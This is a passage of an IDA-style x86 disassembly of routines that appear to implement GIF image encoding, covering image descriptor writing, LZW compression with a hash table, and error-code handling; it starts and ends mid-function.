					; sub_4139FE+52j ...
		xor	eax, eax


loc_413A1A:				; CODE XREF: sub_4139FE+73j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_413A1E:				; CODE XREF: sub_4139FE+Ej
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jnz	short loc_413A28
		mov	eax, [edi+20h]


loc_413A28:				; CODE XREF: sub_4139FE+25j
		sub	[esi+34h], eax
		cmp	dword ptr [esi+34h], 0FFFF0000h
		jbe	short loc_413A40
		mov	dword_421D3C, 6Ch
		jmp	short loc_413A18
; ---------------------------------------------------------------------------


loc_413A40:				; CODE XREF: sub_4139FE+34j
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	sub_413803
		add	esp, 0Ch
		cmp	eax, 1
		jnz	short loc_413A18
		cmp	dword ptr [esi+34h], 0
		jnz	short loc_413A6E


loc_413A58:				; CODE XREF: sub_4139FE+6Ej
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		call	sub_4131D5
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_413A18
		cmp	[ebp+arg_0], 0
		jnz	short loc_413A58


loc_413A6E:				; CODE XREF: sub_4139FE+58j
		xor	eax, eax
		inc	eax
		jmp	short loc_413A1A
sub_4139FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A73	proc near		; CODE XREF: sub_402DEC+1Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	3Ch
		call	sub_40CC7F
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_413A8E
		mov	dword_421D3C, 7
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_413A8E:				; CODE XREF: sub_413A73+Dj
		push	esi
		push	3Ch
		push	0
		push	edi
		call	sub_40CCD9
		push	6148h
		call	sub_40CC7F
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jnz	short loc_413AB4
		push	edi
		call	sub_40CCC5
		jmp	short loc_413AD0
; ---------------------------------------------------------------------------


loc_413AB4:				; CODE XREF: sub_413A73+37j
		call	sub_414258
		test	eax, eax
		mov	[esi+6144h], eax
		jnz	short loc_413ADF
		push	edi
		call	sub_40CCC5
		push	esi
		call	sub_40CCC5
		pop	ecx


loc_413AD0:				; CODE XREF: sub_413A73+3Fj
		pop	ecx
		mov	dword_421D3C, 7
		xor	eax, eax
		jmp	short loc_413B07
; ---------------------------------------------------------------------------


loc_413ADF:				; CODE XREF: sub_413A73+4Ej
		mov	eax, [esp+8+arg_4]
		mov	[edi+38h], esi
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+38h], 0
		mov	[esi+40h], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi], 1
		mov	[edi+34h], eax
		and	dword_421D3C, 0
		mov	eax, edi


loc_413B07:				; CODE XREF: sub_413A73+6Aj
		pop	esi
		pop	edi
		retn
sub_413A73	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B0A	proc near		; CODE XREF: sub_402DEC+Ep

arg_0		= dword	ptr  4

		push	3
		push	[esp+4+arg_0]
		push	offset byte_421CAB
		call	sub_40CD9D
		add	esp, 0Ch
		retn
sub_413B0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B1E	proc near		; CODE XREF: sub_402DEC+85p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jnz	short loc_413B2D
		xor	eax, eax
		jmp	short loc_413B9C
; ---------------------------------------------------------------------------


loc_413B2D:				; CODE XREF: sub_413B1E+9j
		push	edi
		mov	edi, [esi+38h]
		test	byte ptr [edi],	1
		jnz	short loc_413B44
		mov	dword_421D3C, 0Ah
		xor	eax, eax
		jmp	short loc_413B9B
; ---------------------------------------------------------------------------


loc_413B44:				; CODE XREF: sub_413B1E+16j
		push	1
		lea	eax, [ebp+arg_0+3]
		push	eax
		push	esi
		mov	byte ptr [ebp+arg_0+3],	3Bh
		call	dword ptr [edi+40h]
		mov	eax, [esi+2Ch]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413B67
		push	eax
		call	sub_414373
		and	dword ptr [esi+2Ch], 0
		pop	ecx


loc_413B67:				; CODE XREF: sub_413B1E+3Cj
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_413B79
		push	eax
		call	sub_414373
		and	dword ptr [esi+10h], 0
		pop	ecx


loc_413B79:				; CODE XREF: sub_413B1E+4Ej
		mov	eax, [edi+6144h]
		test	eax, eax
		jz	short loc_413B8A
		push	eax
		call	sub_40CCC5
		pop	ecx


loc_413B8A:				; CODE XREF: sub_413B1E+63j
		push	edi
		call	sub_40CCC5
		push	esi
		call	sub_40CCC5
		pop	ecx
		xor	eax, eax
		pop	ecx
		inc	eax


loc_413B9B:				; CODE XREF: sub_413B1E+24j
		pop	edi


loc_413B9C:				; CODE XREF: sub_413B1E+Dj
		pop	esi
		pop	ebp
		retn
sub_413B1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B9F	proc near		; CODE XREF: sub_413C3B+A5p
					; sub_413C3B+AFp ...

var_4		= byte ptr -4
var_3		= byte ptr -3

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], al
		sar	eax, 8
		push	2
		lea	edx, [ebp+var_4]
		push	edx
		mov	[ebp+var_3], al
		mov	eax, [ecx+38h]
		push	ecx
		call	dword ptr [eax+40h]
		add	esp, 0Ch
		dec	eax
		dec	eax
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_413B9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_413BC5	proc near		; CODE XREF: sub_413D8F+2Ep
					; sub_413D8F+55p ...
		cmp	ebx, 1000h
		jnz	short loc_413C0F
		mov	al, [esi]
		test	al, al
		jz	short loc_413BF8
		mov	ecx, [edi+38h]
		movzx	eax, al
		inc	eax
		push	eax
		push	esi
		push	edi
		call	dword ptr [ecx+40h]
		movzx	ecx, byte ptr [esi]
		add	esp, 0Ch
		inc	ecx
		cmp	eax, ecx
		jz	short loc_413BF8


loc_413BEB:				; CODE XREF: sub_413BC5+48j
					; sub_413BC5+65j
		mov	dword_421D3C, 2
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_413BF8:				; CODE XREF: sub_413BC5+Cj
					; sub_413BC5+24j
		push	1
		mov	byte ptr [esi],	0
		mov	eax, [edi+38h]
		push	esi
		push	edi
		call	dword ptr [eax+40h]
		add	esp, 0Ch
		cmp	eax, 1
		jz	short loc_413C37
		jmp	short loc_413BEB
; ---------------------------------------------------------------------------


loc_413C0F:				; CODE XREF: sub_413BC5+6j
		cmp	byte ptr [esi],	0FFh
		jnz	short loc_413C2F
		mov	eax, [edi+38h]
		push	100h
		push	esi
		push	edi
		call	dword ptr [eax+40h]
		movzx	ecx, byte ptr [esi]
		add	esp, 0Ch
		inc	ecx
		cmp	eax, ecx
		jnz	short loc_413BEB
		mov	byte ptr [esi],	0


loc_413C2F:				; CODE XREF: sub_413BC5+4Dj
		inc	byte ptr [esi]
		movzx	eax, byte ptr [esi]
		mov	[eax+esi], bl


loc_413C37:				; CODE XREF: sub_413BC5+46j
		xor	eax, eax
		inc	eax
		retn
sub_413BC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C3B	proc near		; CODE XREF: sub_402DEC+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+38h]
		mov	eax, [ebx]
		test	al, 2
		mov	[ebp+var_8], ebx
		jz	short loc_413C62
		mov	dword_421D3C, 3


loc_413C5B:				; CODE XREF: sub_413C3B+35j
		xor	eax, eax
		jmp	loc_413D7D
; ---------------------------------------------------------------------------


loc_413C62:				; CODE XREF: sub_413C3B+14j
		test	al, 1
		jnz	short loc_413C72
		mov	dword_421D3C, 0Ah
		jmp	short loc_413C5B
; ---------------------------------------------------------------------------


loc_413C72:				; CODE XREF: sub_413C3B+29j
		push	edi
		mov	edi, offset byte_421CA8
		push	edi
		call	sub_40CD83
		push	eax
		push	edi
		push	esi
		call	dword ptr [ebx+40h]
		push	edi
		mov	ebx, eax
		call	sub_40CD83
		add	esp, 14h
		cmp	ebx, eax
		jnz	loc_413D81
		mov	eax, [ebp+arg_4]
		mov	edi, [ebp+arg_14]
		test	edi, edi
		mov	ebx, [ebp+arg_C]
		mov	[esi], eax
		mov	eax, [ebp+arg_8]
		mov	[esi+4], eax
		mov	eax, [ebp+arg_10]
		mov	[esi+8], ebx
		mov	[esi+0Ch], eax
		jz	short loc_413CD7
		push	dword ptr [edi+8]
		push	dword ptr [edi]
		call	sub_41430E
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+10h], eax
		jnz	short loc_413CDB
		mov	dword_421D3C, 7
		jmp	loc_413D8B
; ---------------------------------------------------------------------------


loc_413CD7:				; CODE XREF: sub_413C3B+78j
		and	dword ptr [esi+10h], 0


loc_413CDB:				; CODE XREF: sub_413C3B+8Bj
		mov	eax, [ebp+arg_4]
		mov	ecx, esi
		call	sub_413B9F
		mov	eax, [ebp+arg_8]
		mov	ecx, esi
		call	sub_413B9F
		test	edi, edi
		jz	short loc_413CF9
		mov	eax, [edi+4]
		dec	eax
		jmp	short loc_413CFC
; ---------------------------------------------------------------------------


loc_413CF9:				; CODE XREF: sub_413C3B+B6j
		push	7
		pop	eax


loc_413CFC:				; CODE XREF: sub_413C3B+BCj
		dec	bl
		shl	bl, 4
		test	edi, edi
		setz	cl
		dec	cl
		push	3
		mov	byte ptr [ebp+arg_0+2],	0
		and	ecx, 80h
		or	bl, cl
		or	bl, al
		mov	al, byte ptr [ebp+arg_10]
		lea	ecx, [ebp+arg_0]
		push	ecx
		mov	byte ptr [ebp+arg_0+1],	al
		mov	eax, [esi+38h]
		push	esi
		mov	byte ptr [ebp+arg_0], bl
		call	dword ptr [eax+40h]
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	edi, ebx
		jz	short loc_413D73
		cmp	[edi], ebx
		mov	[ebp+var_4], ebx
		jle	short loc_413D73


loc_413D3C:				; CODE XREF: sub_413C3B+136j
		mov	eax, [edi+8]
		add	eax, ebx
		mov	cl, [eax]
		mov	byte ptr [ebp+arg_0], cl
		mov	cl, [eax+1]
		mov	byte ptr [ebp+arg_0+1],	cl
		mov	al, [eax+2]
		push	3
		lea	ecx, [ebp+arg_0]
		push	ecx
		mov	byte ptr [ebp+arg_0+2],	al
		mov	eax, [esi+38h]
		push	esi
		call	dword ptr [eax+40h]
		add	esp, 0Ch
		cmp	eax, 3
		jnz	short loc_413D81
		inc	[ebp+var_4]
		add	ebx, eax
		mov	eax, [ebp+var_4]
		cmp	eax, [edi]
		jl	short loc_413D3C


loc_413D73:				; CODE XREF: sub_413C3B+F8j
					; sub_413C3B+FFj
		mov	eax, [ebp+var_8]
		or	dword ptr [eax], 2
		xor	eax, eax
		inc	eax


loc_413D7C:				; CODE XREF: sub_413C3B+152j
		pop	edi


loc_413D7D:				; CODE XREF: sub_413C3B+22j
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413D81:				; CODE XREF: sub_413C3B+56j
					; sub_413C3B+12Aj
		mov	dword_421D3C, 2


loc_413D8B:				; CODE XREF: sub_413C3B+97j
		xor	eax, eax
		jmp	short loc_413D7C
sub_413C3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_413D8F	proc near		; CODE XREF: sub_413E5D+75p
					; sub_413EFF+4Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		cmp	[esp+4+arg_0], 1000h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, eax
		mov	ebp, [edi+38h]
		mov	[esp+14h+var_4], 1
		jnz	short loc_413DF3
		cmp	dword ptr [ebp+2Ch], 0
		jle	short loc_413DD8
		lea	esi, [ebp+44h]


loc_413DB4:				; CODE XREF: sub_413D8F+47j
		mov	ebx, [ebp+30h]
		and	ebx, 0FFh
		call	sub_413BC5
		test	eax, eax
		jnz	short loc_413DCA
		and	[esp+14h+var_4], eax


loc_413DCA:				; CODE XREF: sub_413D8F+35j
		shr	dword ptr [ebp+30h], 8
		add	dword ptr [ebp+2Ch], 0FFFFFFF8h
		cmp	dword ptr [ebp+2Ch], 0
		jg	short loc_413DB4


loc_413DD8:				; CODE XREF: sub_413D8F+20j
		and	dword ptr [ebp+2Ch], 0
		lea	esi, [ebp+44h]
		mov	ebx, 1000h
		call	sub_413BC5
		test	eax, eax
		jnz	short loc_413E33
		and	[esp+14h+var_4], eax
		jmp	short loc_413E33
; ---------------------------------------------------------------------------


loc_413DF3:				; CODE XREF: sub_413D8F+1Aj
		mov	ecx, [ebp+2Ch]
		mov	eax, [esp+14h+arg_0]
		shl	eax, cl
		or	[ebp+30h], eax
		mov	eax, [ebp+18h]
		add	eax, ecx
		cmp	eax, 8
		mov	[ebp+2Ch], eax
		jl	short loc_413E33
		lea	esi, [ebp+44h]


loc_413E0F:				; CODE XREF: sub_413D8F+A2j
		mov	ebx, [ebp+30h]
		and	ebx, 0FFh
		call	sub_413BC5
		test	eax, eax
		jnz	short loc_413E25
		and	[esp+14h+var_4], eax


loc_413E25:				; CODE XREF: sub_413D8F+90j
		shr	dword ptr [ebp+30h], 8
		add	dword ptr [ebp+2Ch], 0FFFFFFF8h
		cmp	dword ptr [ebp+2Ch], 8
		jge	short loc_413E0F


loc_413E33:				; CODE XREF: sub_413D8F+5Cj
					; sub_413D8F+62j ...
		mov	eax, [ebp+14h]
		cmp	eax, [ebp+1Ch]
		jl	short loc_413E53
		cmp	[esp+14h+arg_0], 0FFFh
		jg	short loc_413E53
		inc	dword ptr [ebp+18h]
		mov	ecx, [ebp+18h]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		mov	[ebp+1Ch], eax


loc_413E53:				; CODE XREF: sub_413D8F+AAj
					; sub_413D8F+B4j
		mov	eax, [esp+14h+var_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_413D8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E5D	proc near		; CODE XREF: sub_41403A+184p

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [edi+2Ch]
		test	eax, eax
		push	ebx
		push	esi
		mov	esi, [edi+38h]
		jnz	short loc_413E74
		mov	eax, [edi+10h]
		test	eax, eax
		jz	short loc_413EEF


loc_413E74:				; CODE XREF: sub_413E5D+Ej
		mov	ebx, [eax+4]
		cmp	ebx, 2
		jge	short loc_413E7F
		push	2
		pop	ebx


loc_413E7F:				; CODE XREF: sub_413E5D+1Dj
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	edi
		mov	[ebp+var_1], bl
		call	dword ptr [esi+40h]
		push	dword ptr [esi+6144h]
		xor	eax, eax
		and	dword ptr [esi+2Ch], 0
		and	dword ptr [esi+30h], 0
		inc	eax
		mov	ecx, ebx
		shl	eax, cl
		lea	ecx, [ebx+1]
		mov	byte ptr [esi+44h], 0
		mov	[esi+8], ebx
		mov	[esi+0Ch], eax
		inc	eax
		mov	[esi+10h], eax
		inc	eax
		mov	[esi+14h], eax
		xor	eax, eax
		inc	eax
		shl	eax, cl
		mov	[esi+18h], ecx
		mov	dword ptr [esi+24h], 1001h
		mov	[esi+1Ch], eax
		call	sub_414241
		push	dword ptr [esi+0Ch]
		mov	eax, edi
		call	sub_413D8F
		add	esp, 14h
		test	eax, eax
		jnz	short loc_413EEA
		mov	dword_421D3C, 8
		jmp	short loc_413EF9
; ---------------------------------------------------------------------------


loc_413EEA:				; CODE XREF: sub_413E5D+7Fj
		xor	eax, eax
		inc	eax
		jmp	short loc_413EFB
; ---------------------------------------------------------------------------


loc_413EEF:				; CODE XREF: sub_413E5D+15j
		mov	dword_421D3C, 5


loc_413EF9:				; CODE XREF: sub_413E5D+8Bj
		xor	eax, eax


loc_413EFB:				; CODE XREF: sub_413E5D+90j
		pop	esi
		pop	ebx
		leave
		retn
sub_413E5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413EFF	proc near		; CODE XREF: sub_4141CB+5Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [eax+38h]
		mov	eax, [esi+6144h]
		mov	[ebp+var_C], eax
		mov	eax, [esi+24h]
		xor	ecx, ecx
		cmp	eax, 1001h
		push	edi
		jnz	short loc_413F35
		mov	eax, [ebp+arg_4]
		movzx	ebx, byte ptr [eax]
		mov	[ebp+var_8], 1
		mov	ecx, [ebp+var_8]
		jmp	short loc_413F37
; ---------------------------------------------------------------------------


loc_413F35:				; CODE XREF: sub_413EFF+22j
		mov	ebx, eax


loc_413F37:				; CODE XREF: sub_413EFF+34j
		cmp	ecx, [ebp+arg_8]
		jl	short loc_413F8C


loc_413F3C:				; CODE XREF: sub_413EFF+125j
		cmp	dword ptr [esi+34h], 0
		mov	[esi+24h], ebx
		jnz	short loc_413F81
		mov	eax, [ebp+arg_0]
		push	ebx
		call	sub_413D8F
		test	eax, eax
		pop	ecx
		jz	loc_414029
		push	dword ptr [esi+10h]
		mov	eax, [ebp+arg_0]
		call	sub_413D8F
		test	eax, eax
		pop	ecx
		jz	loc_414029
		mov	eax, [ebp+arg_0]
		push	1000h
		call	sub_413D8F
		test	eax, eax
		pop	ecx
		jz	loc_414029


loc_413F81:				; CODE XREF: sub_413EFF+44j
		xor	eax, eax
		inc	eax


loc_413F84:				; CODE XREF: sub_413EFF+136j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413F89:				; CODE XREF: sub_413EFF+11Fj
		mov	ecx, [ebp+var_8]


loc_413F8C:				; CODE XREF: sub_413EFF+3Bj
		mov	eax, [ebp+arg_4]
		mov	al, [ecx+eax]
		mov	[ebp+var_1], al
		movzx	eax, al
		mov	edi, ebx
		shl	edi, 8
		add	edi, eax
		push	edi
		push	[ebp+var_C]
		inc	ecx
		mov	[ebp+var_8], ecx
		call	sub_4142B7
		test	eax, eax
		pop	ecx
		pop	ecx
		jl	short loc_413FB6
		mov	ebx, eax
		jmp	short loc_414018
; ---------------------------------------------------------------------------


loc_413FB6:				; CODE XREF: sub_413EFF+B1j
		mov	eax, [ebp+arg_0]
		push	ebx
		call	sub_413D8F
		test	eax, eax
		pop	ecx
		jz	short loc_414029
		mov	eax, [esi+14h]
		cmp	eax, 0FFFh
		movzx	ebx, [ebp+var_1]
		jl	short loc_414005
		push	dword ptr [esi+0Ch]
		mov	eax, [ebp+arg_0]
		call	sub_413D8F
		test	eax, eax
		pop	ecx
		jz	short loc_414029
		mov	eax, [esi+10h]
		push	[ebp+var_C]
		inc	eax
		mov	[esi+14h], eax
		mov	eax, [esi+8]
		lea	ecx, [eax+1]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		mov	[esi+18h], ecx
		mov	[esi+1Ch], eax
		call	sub_414241
		pop	ecx
		jmp	short loc_414018
; ---------------------------------------------------------------------------


loc_414005:				; CODE XREF: sub_413EFF+D1j
		push	eax
		push	edi
		push	[ebp+var_C]
		lea	ecx, [eax+1]
		mov	[esi+14h], ecx
		call	sub_414277
		add	esp, 0Ch


loc_414018:				; CODE XREF: sub_413EFF+B5j
					; sub_413EFF+104j
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jl	loc_413F89
		jmp	loc_413F3C
; ---------------------------------------------------------------------------


loc_414029:				; CODE XREF: sub_413EFF+52j
					; sub_413EFF+66j ...
		mov	dword_421D3C, 8
		xor	eax, eax
		jmp	loc_413F84
sub_413EFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41403A	proc near		; CODE XREF: sub_402DEC+61p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+38h]
		mov	ecx, [eax]
		test	cl, 4
		mov	[ebp+var_C], eax
		jz	short loc_41406B
		cmp	dword ptr [eax+34h], 0FFFF0000h
		jbe	short loc_41406B
		mov	dword_421D3C, 4


loc_414064:				; CODE XREF: sub_41403A+40j
		xor	eax, eax
		jmp	loc_4141C8
; ---------------------------------------------------------------------------


loc_41406B:				; CODE XREF: sub_41403A+15j
					; sub_41403A+1Ej
		test	cl, 1
		jnz	short loc_41407C
		mov	dword_421D3C, 0Ah
		jmp	short loc_414064
; ---------------------------------------------------------------------------


loc_41407C:				; CODE XREF: sub_41403A+34j
		mov	eax, [ebp+arg_4]
		mov	[edi+18h], eax
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_C]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+arg_10]
		push	esi
		mov	esi, [ebp+arg_18]
		test	esi, esi
		mov	[edi+24h], eax
		mov	eax, [ebp+arg_14]
		mov	[edi+20h], ebx
		mov	[edi+28h], eax
		jz	short loc_4140C5
		push	dword ptr [esi+8]
		push	dword ptr [esi]
		call	sub_41430E
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[edi+2Ch], eax
		jnz	short loc_4140C9
		mov	dword_421D3C, 7
		jmp	loc_4141A1
; ---------------------------------------------------------------------------


loc_4140C5:				; CODE XREF: sub_41403A+67j
		and	dword ptr [edi+2Ch], 0


loc_4140C9:				; CODE XREF: sub_41403A+7Aj
		mov	eax, [edi+38h]
		push	1
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	edi
		mov	byte ptr [ebp+arg_0], 2Ch
		call	dword ptr [eax+40h]
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	ecx, edi
		call	sub_413B9F
		mov	eax, [ebp+arg_8]
		mov	ecx, edi
		call	sub_413B9F
		mov	ecx, edi
		mov	eax, ebx
		call	sub_413B9F
		mov	eax, [ebp+arg_10]
		mov	ecx, edi
		call	sub_413B9F
		test	esi, esi
		jz	short loc_41410E
		mov	eax, [esi+4]
		dec	eax
		jmp	short loc_414110
; ---------------------------------------------------------------------------


loc_41410E:				; CODE XREF: sub_41403A+CCj
		xor	eax, eax


loc_414110:				; CODE XREF: sub_41403A+D2j
		test	esi, esi
		setz	cl
		dec	cl
		push	1
		and	ecx, 80h
		cmp	[ebp+arg_14], 0
		setz	dl
		dec	dl
		and	edx, 40h
		or	cl, dl
		or	cl, al
		mov	eax, [edi+38h]
		mov	byte ptr [ebp+arg_0], cl
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	edi
		call	dword ptr [eax+40h]
		xor	eax, eax
		add	esp, 0Ch
		cmp	esi, eax
		jz	short loc_41418D
		cmp	[esi], eax
		mov	[ebp+var_8], eax
		jle	short loc_41418D
		mov	[ebp+var_4], eax


loc_414150:				; CODE XREF: sub_41403A+14Fj
		mov	ecx, [ebp+var_4]
		mov	eax, [esi+8]
		add	eax, ecx
		mov	cl, [eax]
		mov	byte ptr [ebp+arg_0], cl
		mov	cl, [eax+1]
		mov	byte ptr [ebp+arg_0+1],	cl
		mov	al, [eax+2]
		push	3
		lea	ecx, [ebp+arg_0]
		push	ecx
		mov	byte ptr [ebp+arg_0+2],	al
		mov	eax, [edi+38h]
		push	edi
		call	dword ptr [eax+40h]
		add	esp, 0Ch
		cmp	eax, 3
		jnz	short loc_4141A5
		inc	[ebp+var_8]
		add	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [esi]
		jl	short loc_414150
		xor	eax, eax


loc_41418D:				; CODE XREF: sub_41403A+10Aj
					; sub_41403A+111j
		cmp	[edi+10h], eax
		jnz	short loc_4141B1
		cmp	[edi+2Ch], eax
		jnz	short loc_4141B1
		mov	dword_421D3C, 5


loc_4141A1:				; CODE XREF: sub_41403A+86j
					; sub_41403A+175j
		xor	eax, eax
		jmp	short loc_4141C6
; ---------------------------------------------------------------------------


loc_4141A5:				; CODE XREF: sub_41403A+142j
		mov	dword_421D3C, 2
		jmp	short loc_4141A1
; ---------------------------------------------------------------------------


loc_4141B1:				; CODE XREF: sub_41403A+156j
					; sub_41403A+15Bj
		imul	ebx, [ebp+arg_10]
		mov	eax, [ebp+var_C]
		or	dword ptr [eax], 4
		mov	[eax+34h], ebx
		call	sub_413E5D
		xor	eax, eax
		inc	eax


loc_4141C6:				; CODE XREF: sub_41403A+169j
		pop	esi
		pop	ebx


loc_4141C8:				; CODE XREF: sub_41403A+2Cj
		pop	edi
		leave
		retn
sub_41403A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4141CB	proc near		; CODE XREF: sub_402DEC+76p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_0]
		mov	ecx, [edi+38h]
		test	byte ptr [ecx],	1
		jnz	short loc_4141E6
		mov	dword_421D3C, 0Ah


loc_4141E2:				; CODE XREF: sub_4141CB+37j
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4141E6:				; CODE XREF: sub_4141CB+Bj
		mov	edx, [esp+4+arg_8]
		test	edx, edx
		jnz	short loc_4141F1
		mov	edx, [edi+20h]


loc_4141F1:				; CODE XREF: sub_4141CB+21j
		mov	eax, [ecx+34h]
		cmp	eax, edx
		jnb	short loc_414204
		mov	dword_421D3C, 6
		jmp	short loc_4141E2
; ---------------------------------------------------------------------------


loc_414204:				; CODE XREF: sub_4141CB+2Bj
		sub	eax, edx
		mov	[ecx+34h], eax
		mov	eax, [ecx+8]
		mov	al, byte_421C9C[eax]
		xor	ecx, ecx
		test	edx, edx
		push	esi
		mov	esi, [esp+8+arg_4]
		jle	short loc_414225


loc_41421D:				; CODE XREF: sub_4141CB+58j
		and	[ecx+esi], al
		inc	ecx
		cmp	ecx, edx
		jl	short loc_41421D


loc_414225:				; CODE XREF: sub_4141CB+50j
		push	edx
		push	esi
		push	edi
		call	sub_413EFF
		add	esp, 0Ch
		pop	esi
		pop	edi
		retn
sub_4141CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_414233	proc near		; CODE XREF: sub_402C86+B0p
					; sub_402C86:loc_402DA1p ...
		mov	eax, dword_421D3C
		cmp	eax, 65h
		jg	short locret_414240
		jz	short locret_414240
		dec	eax

locret_414240:				; CODE XREF: sub_414233+8j
					; sub_414233+Aj
		retn
sub_414233	endp


; =============== S U B	R O U T	I N E =======================================



sub_414241	proc near		; CODE XREF: sub_413E5D+6Bp
					; sub_413EFF+FEp ...

arg_0		= dword	ptr  4

		push	8000h
		push	0FFh
		push	[esp+8+arg_0]
		call	sub_40CCD9
		add	esp, 0Ch
		retn
sub_414241	endp


; =============== S U B	R O U T	I N E =======================================



sub_414258	proc near		; CODE XREF: sub_413A73:loc_413AB4p
		push	esi
		push	8000h
		call	sub_40CC7F
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jnz	short loc_41426C
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41426C:				; CODE XREF: sub_414258+10j
		push	esi
		call	sub_414241
		pop	ecx
		mov	eax, esi
		pop	esi
		retn
sub_414258	endp


; =============== S U B	R O U T	I N E =======================================



sub_414277	proc near		; CODE XREF: sub_413EFF+111p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		mov	eax, edi
		shr	eax, 0Ch
		xor	eax, edi
		mov	esi, 1FFFh
		mov	ecx, 0FFFFF000h
		jmp	short loc_414296
; ---------------------------------------------------------------------------


loc_414295:				; CODE XREF: sub_414277+28j
		inc	eax


loc_414296:				; CODE XREF: sub_414277+1Cj
		and	eax, esi
		mov	ebx, [edx+eax*4]
		and	ebx, ecx
		cmp	ebx, ecx
		jnz	short loc_414295
		mov	ecx, [esp+0Ch+arg_8]
		shl	edi, 0Ch
		and	ecx, 0FFFh
		or	ecx, edi
		pop	edi
		pop	esi
		mov	[edx+eax*4], ecx
		pop	ebx
		retn
sub_414277	endp


; =============== S U B	R O U T	I N E =======================================



sub_4142B7	proc near		; CODE XREF: sub_413EFF+A8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		shr	ecx, 0Ch
		xor	ecx, [esp+4+arg_4]
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, 1FFFh
		mov	edx, 0FFFFFh
		jmp	short loc_4142DB
; ---------------------------------------------------------------------------


loc_4142D4:				; CODE XREF: sub_4142B7+2Ej
		cmp	[esp+8+arg_4], eax
		jz	short loc_4142ED
		inc	ecx


loc_4142DB:				; CODE XREF: sub_4142B7+1Bj
		and	ecx, esi
		mov	eax, [edi+ecx*4]
		shr	eax, 0Ch
		cmp	eax, edx
		jnz	short loc_4142D4
		or	eax, 0FFFFFFFFh


loc_4142EA:				; CODE XREF: sub_4142B7+3Ej
		pop	edi
